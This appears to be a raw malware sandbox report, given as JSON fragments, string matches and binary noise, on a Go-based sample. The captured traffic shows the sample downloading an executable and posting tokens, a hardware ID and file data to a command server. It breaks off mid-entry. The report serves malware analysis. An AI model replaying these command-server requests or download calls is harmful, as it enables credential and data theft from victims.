Bã»î][ygB²3EöëÂüÏùn.ë¶C£+íiaÞC(èµ²ªÈ#¦<ØÇº*¼Bï~ÒY/¹Æ1÷Sá!dÑîLÍUñuÀ`Ý|§Ô.+m®<[NU¢ì/7öð(\'ýÖ²í¾^*}>ëBÐ©pÜc¡¡ÒÿÂí)0(Ó|çe]^9ØIÇÛ2Ê¹D±Pn@|"}º0Æß·Ú8¤v±HeY$Â@ï¸{é.qspTÎÃIþì._}ç;E-M.-¨s.edÃ·BµÄïíNÑ¡§%û¿ëxe÷(±X½ç7æHÆL¶#[gN3ÅI+vòï4HN´8G${BÛº¹ÕFxuäÚ"¶ß!_·"£¾ã º²Ù¥i;ã_ñ7¹.8v¢3Åeÿ¯äFÃî Ie+¦õ4óI©Kgà'ç% ÊÔ|:[e`ÞG¸YmÿªR}_Ô³pQRo2§¡ïúi¢ÿ²¯í°»2}(¯ôøè«"ÉN;³Ì¬êé½¼[h|u(âòúpö<ÒY ËPAÙRðaK@Òb³ð!jNÒ.ÆÂU2?I.îÖ¬¨ëÐå2ÐoBóÈnð¨Å>Þ¿RA·.úÝ¾sÿÅ é¨ïøûv"; File: "PCAP") Found string "Content-Type: multipart/form-data; boundary=B3k0ikikZRsc0Zk"; Source: "00000000-00006068-00000CCB-1736125068") Found string "--B3k0ikikZRsc0ZkContent-Disposition: form-data; name="access_token"9ab6c3ef-3d4a-4954-970e-51a59c68f074--B3k0ikikZRsc0ZkContent-Disposition: form-data; name="type"0--B3k0ikikZRsc0ZkContent-Disposition: form-data; name="file"; filename="data""; Source: "00000000-00006068-00000CCB-1736125068") Found string "Content-Type: multipart/form-data; boundary=amg4y2Xw9ykRaBD3R9u"; Source: "00000000-00006068-00000CCB-1771719256") Found string "--amg4y2Xw9ykRaBD3R9uContent-Disposition: form-data; name="access_token"9ab6c3ef-3d4a-4954-970e-51a59c68f074--amg4y2Xw9ykRaBD3R9uContent-Disposition: form-data; name="type"0--amg4y2Xw9ykRaBD3R9uContent-Disposition: form-data; name="file"; fil"; Source: "00000000-00006068-00000CCB-1771719256") Found string "Content-Type: multipart/form-data; boundary=3T15LRyNa6B77u"; Source: "00000000-00006068-00000CCB-1776419224") Found string "--3T15LRyNa6B77uContent-Disposition: form-data; name="access_token"9ab6c3ef-3d4a-4954-970e-51a59c68f074--3T15LRyNa6B77uContent-Disposition: form-data; name="type"0--3T15LRyNa6B77uContent-Disposition: form-data; name="file"; filename="data"C"; Source: "00000000-00006068-00000CCB-1776419224")36:T5d4,Heuristic match: "*abi.name" Heuristic match: "jv.al" Heuristic match: "w.ng" Heuristic match: "internal/abi.name.name" Heuristic match: "runtime.(*bucket).mp" Heuristic match: "runtime.newosprocinternal/runtime/thread exhaustionlocked m0 woke upentersyscallblock spinningthreads=taggedpointerpackunknown caller pcstack: frame={sp:trace arena allocruntime: nameoff runtime: typeoff runtime: textoff merkle_tree_heightavg_avalanche_bit" Heuristic match: "runtime.srcfunc.name" Pattern match: "eq.sync/atomic.bool" Pattern match: "eq.sync/atomic.uint32" Pattern match: "eq.sync/atomic.pointer[internal/sync.indirect[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.node[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[go.shape.interface" Pattern match: "eq.sync/atomic.pointer[go.shape.struct" Pattern match: "http://firewai.biz:48261-74" Pattern match: "http://firewai.biz:48261-907" Pattern match: "http://firewai.biz:48261-56" Pattern match: "http://firewai.biz:48261-1147" Pattern match: "http://firewai.biz:48261-790562" Heuristic match: "fiinterchillers.com" Heuristic match: "get /wp-content/uploads/dlqdq.exe http/1.1cache-control: no-cacheconnection: keep-alivepragma: no-cacheuser-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/117.0.0.0 safari/537.36host: fiinterchillers.com" Heuristic match: "firewai.biz"37:T8de,Found string "chacha8" (Indicator: "chacha"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "lvhaeswjqxig" (Indicator: "aes"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "*chacha8rand.State" (Indicator: "chacha"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "internal/chacha8rand" (Indicator: "chacha"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") file/memory contains long string with (Indicator: "aes"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "internal/chacha8rand.(*State).Init64" (Indicator: "chacha"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "internal/chacha8rand.(*State).Next" (Indicator: "chacha"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "internal/chacha8rand.block" (Indicator: "chacha"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "type:.eq.internal/chacha8rand.State" (Indicator: "chacha"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "runtime.initAlgAES" (Indicator: "aes"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "aeshashbody" (Indicator: "aes"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "internal/chacha8rand/chacha8.go" (Indicator: "chacha"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found string "internal/chacha8rand/chacha8_amd64.s" (Indicator: "chacha"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin")38:Tc3b," "access_token=&debug=http://firewai.biz:48261-74" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:41 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 74 Host: firewai.biz:48261" with payload::==> "tag=1cf9c43c1e538e180c478a7c6036cd3f&hwid=05c3dbadebdd5053b5fb00d18c848eb1" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:42 GMT Content-Type: application/octet-stream Content-Length: 117 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"75-7iUdGa3Sw2up6e7Ob+MbMXhkzgc" with response body ==>4641C3B104C285C2BA00C3BF36C3BB0CC381C3AE60C3B77FC2A1C3B3C3A8C3BFC3A17259377828C3A652352056C38E54C2A6C2B2C3A97779C282C2B2C2AE4170....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 84 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=http://firewai.biz:48261-907" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:42 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=B3k0ikikZRsc0Zk User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 907 Host: firewai.biz:48261" with payload::==> "--B3k0ikikZRsc0ZkContent-Disposition: form-data; name="access_token"9ab6c3ef-3d4a-4954-970e-51a59c68f074--B3k0ikikZRsc0ZkContent-Disposition: form-data; name="type"0--B3k0ikikZRsc0ZkContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-streamK9tøöÞý5×Ad_5WÅ+sµÙJÙ!+`~=\ë%®M³FXnÛïJi>?^_èlCc Ösc¶$ílÂ¨e½.§4ßI@àFÄwüÀ¶®«RRÊtÎq2A!He¼³ÄØÂGð/Ï;éå«$tÀøðúyÐÿ©®icØà¤1_5mS¬/´QPÅ]ëÒ&mò&ÞY)JøÿkëJ#ç©FÇ*`»0©b40gql´KêÑ ¤ÈÜÊ`ÞOPNåÓÏQ®{Ì«ñVÍp[7q½Ú~e¡¶CFS5FúQ"CQqÓáÊ.r¤zÈ³SÓÈð¹:R 7ÔUöõPk_*RñõÛw!m£÷%%æêµØ9±öòWýk¡ÀøHãÞwPÅVÁPí¡b>L-q}ï®ª¢&½pýÈfÞ-¬7`"t£üâê<|æ(ë5¬( ÆÃ--B3k0ikikZRsc0Zk--" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:43 GMT Content-Length: 8 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true with response body ==>7265636569766564....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=http://firewai.biz:48261-56" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:43 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&step=1" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:44 GMT Content-Type: application/octet-stream Content-Length: 2457 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"999-pG5F5gdNfN90DYfruCCFXU/qbBc" with response body ==>5EC2B6C2AB30C3A55E57C2964F26377570710FC3AD2B790E3BC3AAC3A3C2B2C2BB63C2B91CC29121C28BC3A1C29F51C2805258C3BAC29715C2BAC298C2B003C2....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=http://firewai.biz:48261-56" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:45 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&step=2" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:46 GMT Content-Type: application/octet-stream Content-Length: 6882 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"1ae2-P+62YivJYqvcTm2svP6dcCAJYMA" with response body ==>C294C3AD26C391C393C288C39EC290324C4A30604FC3B6C2AFC39DC288C3BB3AC3B14D2B34C399C28B0B403907C2BE074FC2996D75C2A759C38819C2B7C3ACC2....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=http://firewai.biz:48261-56" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:46 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&step=3" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:47 GMT Content-Type: application/octet-stream Content-Length: 44358 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"ad46-aeNM9zGtCoWoEtXSKKTe6XJ2y30" with response body ==>4432C2AB3EC28BC395C2B7C29848C3AAC29CC38AC39005C3AA3AC39EC3A7C396C28E55C3A2735AC39D40C3A70457C390C3B265C2B83DC285C2A1770E63206EC2....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:48 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:49 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:49 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:50 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:50 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:51 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:51 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:52 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:52 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:53 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:53 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:54 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:54 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: firewai.biz:48261" with payload::==> "access_token=9ab6c3ef-3d4a-4954-970e-51a59c68f074&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Wed 13 May 2026 02:18:55 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D.......3a:Td18," HTTP/1.1 200 OK\nServer: nginx/1.29.8\nDate: Wed\n 13 May 2026 02:19:24 GMT\nContent-Type: application/octet-stream\nContent-Length: 3109504\nLast-Modified: Tue\n 12 May 2026 04:48:27 GMT\nConnection: keep-alive\nVary: Accept-Encoding\nETag: \"6a02b11b-2f7280\"\nExpires: Thu\n 13 May 2027 02:19:24 GMT\nCache-Control: max-age=31536000\nCache-Control: public\n max-age=31536000\n immutable\nX-Proxy-Cache: STATIC/PATH\nAccept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C28B00000000000000400000000000000000000000000000000000000000000000000000000000000000000000.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6a03df686c9e53e8030f4690"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$31","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a03df686c9e53e8030f4690"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\" tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a03df686c9e53e8030f4690"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_70% (W)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"6a03df686c9e53e8030f4690"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"4/26 Antivirus vendors marked sample as malicious (15% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a03df686c9e53e8030f4690"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$39","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6a03df686c9e53e8030f4690"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"$3a","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"6a03df686c9e53e8030f4690"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6a03df686c9e53e8030f4690"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 173.231.216.118 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a03df686c9e53e8030f4690"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - ChaCha20 encryption algorithm","description":"YARA signature for ChaCha20 256-bit key algorithm matched on file \"sample.bin\"\n YARA signature for ChaCha20 128-bit key algorithm matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":9,"id":"yara-44","sources":[{"report_type":"sandbox","report_id":"6a03df686c9e53e8030f4690"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for invalid Timestamp of PE file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"6a03df686c9e53e8030f4690"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\" \"tag=1cf9c43c1e538e180c478a7c6036cd3f&hwid=05c3dbadebdd5053b5fb00d18c848eb1\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6a03df686c9e53e8030f4690"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from 